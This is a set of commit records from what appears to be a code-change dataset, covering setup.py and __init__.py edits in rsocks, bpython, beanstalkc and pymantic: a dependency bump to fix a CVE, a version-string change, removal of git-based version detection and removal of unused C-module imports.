from setuptools import setup, find_packages with open('README.rst') as readme: long_description = ''.join(readme).strip() setup( name='rsocks', version='0.3.3', author='Jiangge Zhang', author_email='tonyseek@gmail.com', description='A SOCKS reverse proxy server.', long_description=long_description, url='https://github.com/tonyseek/rsocks', license='MIT', classifiers=[ 'Development Status :: 3 - Alpha', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: Implementation :: PyPy', ], packages=find_packages(), platforms=['Any'], install_requires=[ 'PySocks>=1.5,<1.6', 'eventlet>=0.17,<0.18', 'click>=3.3,<3.4', 'toml.py>=0.1,<0.2', 'six', ], entry_points={ 'console_scripts': [ 'rsocks=rsocks.cli:main', ], }, ) Upgrade eventlet to fix CVE-2021-21419from setuptools import setup, find_packages with open('README.rst') as readme: long_description = ''.join(readme).strip() setup( name='rsocks', version='0.3.3', author='Jiangge Zhang', author_email='tonyseek@gmail.com', description='A SOCKS reverse proxy server.', long_description=long_description, url='https://github.com/tonyseek/rsocks', license='MIT', classifiers=[ 'Development Status :: 3 - Alpha', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: Implementation :: PyPy', ], packages=find_packages(), platforms=['Any'], install_requires=[ 'PySocks>=1.5,<1.6', 'eventlet>=0.31,<0.34', 'click>=3.3,<3.4', 'toml.py>=0.1,<0.2', 'six', ], entry_points={ 'console_scripts': [ 'rsocks=rsocks.cli:main', ], }, )
<commit_before>from setuptools import setup, find_packages with open('README.rst') as readme: long_description = ''.join(readme).strip() setup( name='rsocks', version='0.3.3', author='Jiangge Zhang', author_email='tonyseek@gmail.com', description='A SOCKS reverse proxy server.', long_description=long_description, url='https://github.com/tonyseek/rsocks', license='MIT', classifiers=[ 'Development Status :: 3 - Alpha', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: Implementation :: PyPy', ], packages=find_packages(), platforms=['Any'], install_requires=[ 'PySocks>=1.5,<1.6', 'eventlet>=0.17,<0.18', 'click>=3.3,<3.4', 'toml.py>=0.1,<0.2', 'six', ], entry_points={ 'console_scripts': [ 'rsocks=rsocks.cli:main', ], }, ) <commit_msg>Upgrade eventlet to fix CVE-2021-21419<commit_after>from setuptools import setup, find_packages with open('README.rst') as readme: long_description = ''.join(readme).strip() setup( name='rsocks', version='0.3.3', author='Jiangge Zhang', author_email='tonyseek@gmail.com', description='A SOCKS reverse proxy server.', long_description=long_description, url='https://github.com/tonyseek/rsocks', license='MIT', classifiers=[ 'Development Status :: 3 - Alpha', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: Implementation :: PyPy', ], packages=find_packages(), platforms=['Any'], install_requires=[ 'PySocks>=1.5,<1.6', 'eventlet>=0.31,<0.34', 'click>=3.3,<3.4', 'toml.py>=0.1,<0.2', 'six', ], entry_points={ 'console_scripts': [ 'rsocks=rsocks.cli:main', ], }, )
b9b046a9ad58406155a3005050f90b5184ba1758
bpython/__init__.py
bpython/__init__.py
# The MIT License # # Copyright (c) 2008 Bob Farrell # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import os.path __version__ = '0.10' package_dir = os.path.abspath(os.path.dirname(__file__)) def embed(locals_=None, args=['-i', '-q'], banner=None): from bpython.cli import main return main(args, locals_, banner)
# The MIT License # # Copyright (c) 2008 Bob Farrell # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import os.path __version__ = 'mercurial' package_dir = os.path.abspath(os.path.dirname(__file__)) def embed(locals_=None, args=['-i', '-q'], banner=None): from bpython.cli import main return main(args, locals_, banner)
Set the version name for the default branch to mercurial so we can tell when we run from the repository
Set the version name for the default branch to mercurial so we can tell when we run from the repository
Python
mit
5monkeys/bpython
# The MIT License # # Copyright (c) 2008 Bob Farrell # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import os.path __version__ = '0.10' package_dir = os.path.abspath(os.path.dirname(__file__)) def embed(locals_=None, args=['-i', '-q'], banner=None): from bpython.cli import main return main(args, locals_, banner) Set the version name for the default branch to mercurial so we can tell when we run from the repository
# The MIT License # # Copyright (c) 2008 Bob Farrell # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import os.path __version__ = 'mercurial' package_dir = os.path.abspath(os.path.dirname(__file__)) def embed(locals_=None, args=['-i', '-q'], banner=None): from bpython.cli import main return main(args, locals_, banner)
<commit_before># The MIT License # # Copyright (c) 2008 Bob Farrell # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import os.path __version__ = '0.10' package_dir = os.path.abspath(os.path.dirname(__file__)) def embed(locals_=None, args=['-i', '-q'], banner=None): from bpython.cli import main return main(args, locals_, banner) <commit_msg>Set the version name for the default branch to mercurial so we can tell when we run from the repository<commit_after>
# The MIT License # # Copyright (c) 2008 Bob Farrell # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import os.path __version__ = 'mercurial' package_dir = os.path.abspath(os.path.dirname(__file__)) def embed(locals_=None, args=['-i', '-q'], banner=None): from bpython.cli import main return main(args, locals_, banner)
# The MIT License # # Copyright (c) 2008 Bob Farrell # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import os.path __version__ = '0.10' package_dir = os.path.abspath(os.path.dirname(__file__)) def embed(locals_=None, args=['-i', '-q'], banner=None): from bpython.cli import main return main(args, locals_, banner) Set the version name for the default branch to mercurial so we can tell when we run from the repository# The MIT License # # Copyright (c) 2008 Bob Farrell # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import os.path __version__ = 'mercurial' package_dir = os.path.abspath(os.path.dirname(__file__)) def embed(locals_=None, args=['-i', '-q'], banner=None): from bpython.cli import main return main(args, locals_, banner)
<commit_before># The MIT License # # Copyright (c) 2008 Bob Farrell # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import os.path __version__ = '0.10' package_dir = os.path.abspath(os.path.dirname(__file__)) def embed(locals_=None, args=['-i', '-q'], banner=None): from bpython.cli import main return main(args, locals_, banner) <commit_msg>Set the version name for the default branch to mercurial so we can tell when we run from the repository<commit_after># The MIT License # # Copyright (c) 2008 Bob Farrell # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import os.path __version__ = 'mercurial' package_dir = os.path.abspath(os.path.dirname(__file__)) def embed(locals_=None, args=['-i', '-q'], banner=None): from bpython.cli import main return main(args, locals_, banner)
c79c518c15be430aaf3da8d628096cd52c07c6bd
setup.py
setup.py
#!/usr/bin/env python import os from setuptools import setup from beanstalkc import __version__ as version pkg_version = version git_version = os.popen('git describe --tags --abbrev=6').read().strip()[7:] if git_version: pkg_version += '.dev' + git_version setup( name='beanstalkc', version=pkg_version, py_modules=['beanstalkc'], author='Andreas Bolka', author_email='a@bolka.at', description='A simple beanstalkd client library', long_description=''' beanstalkc is a simple beanstalkd client library for Python. `beanstalkd <http://kr.github.com/beanstalkd/>`_ is a fast, distributed, in-memory workqueue service. ''', url='http://github.com/earl/beanstalkc', license='Apache License, Version 2.0', classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries :: Python Modules', ], )
#!/usr/bin/env python import os from distutils.spawn import find_executable from setuptools import setup from beanstalkc import __version__ as src_version pkg_version = os.environ.get('BEANSTALKC_PKG_VERSION', src_version) setup( name='beanstalkc', version=pkg_version, py_modules=['beanstalkc'], author='Andreas Bolka', author_email='a@bolka.at', description='A simple beanstalkd client library', long_description=''' beanstalkc is a simple beanstalkd client library for Python. `beanstalkd <http://kr.github.com/beanstalkd/>`_ is a fast, distributed, in-memory workqueue service. ''', url='http://github.com/earl/beanstalkc', license='Apache License, Version 2.0', classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries :: Python Modules', ], )
Remove Git-based package version detection
Remove Git-based package version detection Instead, allow package version overriding by setting a BEANSTALKC_PKG_VERSION environment variable.
Python
apache-2.0
yetone/beanstalkc,bcho/beanstalkc,earl/beanstalkc,seveas/beanstalkc
#!/usr/bin/env python import os from setuptools import setup from beanstalkc import __version__ as version pkg_version = version git_version = os.popen('git describe --tags --abbrev=6').read().strip()[7:] if git_version: pkg_version += '.dev' + git_version setup( name='beanstalkc', version=pkg_version, py_modules=['beanstalkc'], author='Andreas Bolka', author_email='a@bolka.at', description='A simple beanstalkd client library', long_description=''' beanstalkc is a simple beanstalkd client library for Python. `beanstalkd <http://kr.github.com/beanstalkd/>`_ is a fast, distributed, in-memory workqueue service. ''', url='http://github.com/earl/beanstalkc', license='Apache License, Version 2.0', classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries :: Python Modules', ], ) Remove Git-based package version detection Instead, allow package version overriding by setting a BEANSTALKC_PKG_VERSION environment variable.
#!/usr/bin/env python import os from distutils.spawn import find_executable from setuptools import setup from beanstalkc import __version__ as src_version pkg_version = os.environ.get('BEANSTALKC_PKG_VERSION', src_version) setup( name='beanstalkc', version=pkg_version, py_modules=['beanstalkc'], author='Andreas Bolka', author_email='a@bolka.at', description='A simple beanstalkd client library', long_description=''' beanstalkc is a simple beanstalkd client library for Python. `beanstalkd <http://kr.github.com/beanstalkd/>`_ is a fast, distributed, in-memory workqueue service. ''', url='http://github.com/earl/beanstalkc', license='Apache License, Version 2.0', classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries :: Python Modules', ], )
<commit_before>#!/usr/bin/env python import os from setuptools import setup from beanstalkc import __version__ as version pkg_version = version git_version = os.popen('git describe --tags --abbrev=6').read().strip()[7:] if git_version: pkg_version += '.dev' + git_version setup( name='beanstalkc', version=pkg_version, py_modules=['beanstalkc'], author='Andreas Bolka', author_email='a@bolka.at', description='A simple beanstalkd client library', long_description=''' beanstalkc is a simple beanstalkd client library for Python. `beanstalkd <http://kr.github.com/beanstalkd/>`_ is a fast, distributed, in-memory workqueue service. ''', url='http://github.com/earl/beanstalkc', license='Apache License, Version 2.0', classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries :: Python Modules', ], ) <commit_msg>Remove Git-based package version detection Instead, allow package version overriding by setting a BEANSTALKC_PKG_VERSION environment variable.<commit_after>
#!/usr/bin/env python import os from distutils.spawn import find_executable from setuptools import setup from beanstalkc import __version__ as src_version pkg_version = os.environ.get('BEANSTALKC_PKG_VERSION', src_version) setup( name='beanstalkc', version=pkg_version, py_modules=['beanstalkc'], author='Andreas Bolka', author_email='a@bolka.at', description='A simple beanstalkd client library', long_description=''' beanstalkc is a simple beanstalkd client library for Python. `beanstalkd <http://kr.github.com/beanstalkd/>`_ is a fast, distributed, in-memory workqueue service. ''', url='http://github.com/earl/beanstalkc', license='Apache License, Version 2.0', classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries :: Python Modules', ], )
#!/usr/bin/env python import os from setuptools import setup from beanstalkc import __version__ as version pkg_version = version git_version = os.popen('git describe --tags --abbrev=6').read().strip()[7:] if git_version: pkg_version += '.dev' + git_version setup( name='beanstalkc', version=pkg_version, py_modules=['beanstalkc'], author='Andreas Bolka', author_email='a@bolka.at', description='A simple beanstalkd client library', long_description=''' beanstalkc is a simple beanstalkd client library for Python. `beanstalkd <http://kr.github.com/beanstalkd/>`_ is a fast, distributed, in-memory workqueue service. ''', url='http://github.com/earl/beanstalkc', license='Apache License, Version 2.0', classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries :: Python Modules', ], ) Remove Git-based package version detection Instead, allow package version overriding by setting a BEANSTALKC_PKG_VERSION environment variable.#!/usr/bin/env python import os from distutils.spawn import find_executable from setuptools import setup from beanstalkc import __version__ as src_version pkg_version = os.environ.get('BEANSTALKC_PKG_VERSION', src_version) setup( name='beanstalkc', version=pkg_version, py_modules=['beanstalkc'], author='Andreas Bolka', author_email='a@bolka.at', description='A simple beanstalkd client library', long_description=''' beanstalkc is a simple beanstalkd client library for Python. `beanstalkd <http://kr.github.com/beanstalkd/>`_ is a fast, distributed, in-memory workqueue service. ''', url='http://github.com/earl/beanstalkc', license='Apache License, Version 2.0', classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries :: Python Modules', ], )
<commit_before>#!/usr/bin/env python import os from setuptools import setup from beanstalkc import __version__ as version pkg_version = version git_version = os.popen('git describe --tags --abbrev=6').read().strip()[7:] if git_version: pkg_version += '.dev' + git_version setup( name='beanstalkc', version=pkg_version, py_modules=['beanstalkc'], author='Andreas Bolka', author_email='a@bolka.at', description='A simple beanstalkd client library', long_description=''' beanstalkc is a simple beanstalkd client library for Python. `beanstalkd <http://kr.github.com/beanstalkd/>`_ is a fast, distributed, in-memory workqueue service. ''', url='http://github.com/earl/beanstalkc', license='Apache License, Version 2.0', classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries :: Python Modules', ], ) <commit_msg>Remove Git-based package version detection Instead, allow package version overriding by setting a BEANSTALKC_PKG_VERSION environment variable.<commit_after>#!/usr/bin/env python import os from distutils.spawn import find_executable from setuptools import setup from beanstalkc import __version__ as src_version pkg_version = os.environ.get('BEANSTALKC_PKG_VERSION', src_version) setup( name='beanstalkc', version=pkg_version, py_modules=['beanstalkc'], author='Andreas Bolka', author_email='a@bolka.at', description='A simple beanstalkd client library', long_description=''' beanstalkc is a simple beanstalkd client library for Python. `beanstalkd <http://kr.github.com/beanstalkd/>`_ is a fast, distributed, in-memory workqueue service. ''', url='http://github.com/earl/beanstalkc', license='Apache License, Version 2.0', classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries :: Python Modules', ], )
6c3c0dd1e725583a8465b2e986ebfa1e363fb478
setup.py
setup.py
import sys, os try: import Cython except ImportError: pass from setuptools import setup from pymantic import version import setupinfo setup(name='pymantic', version=version, description="Semantic Web and RDF library for Python", long_description="""""", classifiers=['Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Text Processing :: Markup', ], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='RDF N3 Turtle Semantics Web3.0', author='Gavin Carothers, Nick Pilon', author_email='gavin@carothers.name, npilon@gmail.com', url='http://github.com/oreillymedia/pymantic', license='BSD', packages=['pymantic'], include_package_data=True, zip_safe=False, test_suite='nose.collector', install_requires=[ 'httplib2', 'lxml', 'mock_http', 'pytz', 'simplejson', 'lepl' ], entry_points=""" # -*- Entry points: -*- """, scripts = [ 'pymantic/scripts/named_graph_to_nquads', ], #Ignoring unfinished C module #ext_modules = setupinfo.ext_modules(), #**setupinfo.extra_setup_args() )
import sys, os from setuptools import setup from pymantic import version setup(name='pymantic', version=version, description="Semantic Web and RDF library for Python", long_description="""""", classifiers=['Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Text Processing :: Markup', ], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='RDF N3 Turtle Semantics Web3.0', author='Gavin Carothers, Nick Pilon', author_email='gavin@carothers.name, npilon@gmail.com', url='http://github.com/oreillymedia/pymantic', license='BSD', packages=['pymantic'], include_package_data=True, zip_safe=False, test_suite='nose.collector', install_requires=[ 'httplib2', 'lxml', 'mock_http', 'pytz', 'simplejson', 'lepl' ], entry_points=""" # -*- Entry points: -*- """, scripts = [ 'pymantic/scripts/named_graph_to_nquads', ], )
Remove imports from stupid C module.
Remove imports from stupid C module.
Python
bsd-3-clause
SYSTAP/blazegraph-python,blazegraph/blazegraph-python,syapse/pymantic,igor-kim/blazegraph-python,SYSTAP/blazegraph-python,blazegraph/blazegraph-python,igor-kim/blazegraph-python
import sys, os try: import Cython except ImportError: pass from setuptools import setup from pymantic import version import setupinfo setup(name='pymantic', version=version, description="Semantic Web and RDF library for Python", long_description="""""", classifiers=['Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Text Processing :: Markup', ], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='RDF N3 Turtle Semantics Web3.0', author='Gavin Carothers, Nick Pilon', author_email='gavin@carothers.name, npilon@gmail.com', url='http://github.com/oreillymedia/pymantic', license='BSD', packages=['pymantic'], include_package_data=True, zip_safe=False, test_suite='nose.collector', install_requires=[ 'httplib2', 'lxml', 'mock_http', 'pytz', 'simplejson', 'lepl' ], entry_points=""" # -*- Entry points: -*- """, scripts = [ 'pymantic/scripts/named_graph_to_nquads', ], #Ignoring unfinished C module #ext_modules = setupinfo.ext_modules(), #**setupinfo.extra_setup_args() ) Remove imports from stupid C module.
import sys, os from setuptools import setup from pymantic import version setup(name='pymantic', version=version, description="Semantic Web and RDF library for Python", long_description="""""", classifiers=['Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Text Processing :: Markup', ], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='RDF N3 Turtle Semantics Web3.0', author='Gavin Carothers, Nick Pilon', author_email='gavin@carothers.name, npilon@gmail.com', url='http://github.com/oreillymedia/pymantic', license='BSD', packages=['pymantic'], include_package_data=True, zip_safe=False, test_suite='nose.collector', install_requires=[ 'httplib2', 'lxml', 'mock_http', 'pytz', 'simplejson', 'lepl' ], entry_points=""" # -*- Entry points: -*- """, scripts = [ 'pymantic/scripts/named_graph_to_nquads', ], )
<commit_before>import sys, os try: import Cython except ImportError: pass from setuptools import setup from pymantic import version import setupinfo setup(name='pymantic', version=version, description="Semantic Web and RDF library for Python", long_description="""""", classifiers=['Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Text Processing :: Markup', ], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='RDF N3 Turtle Semantics Web3.0', author='Gavin Carothers, Nick Pilon', author_email='gavin@carothers.name, npilon@gmail.com', url='http://github.com/oreillymedia/pymantic', license='BSD', packages=['pymantic'], include_package_data=True, zip_safe=False, test_suite='nose.collector', install_requires=[ 'httplib2', 'lxml', 'mock_http', 'pytz', 'simplejson', 'lepl' ], entry_points=""" # -*- Entry points: -*- """, scripts = [ 'pymantic/scripts/named_graph_to_nquads', ], #Ignoring unfinished C module #ext_modules = setupinfo.ext_modules(), #**setupinfo.extra_setup_args() ) <commit_msg>Remove imports from stupid C module.<commit_after>
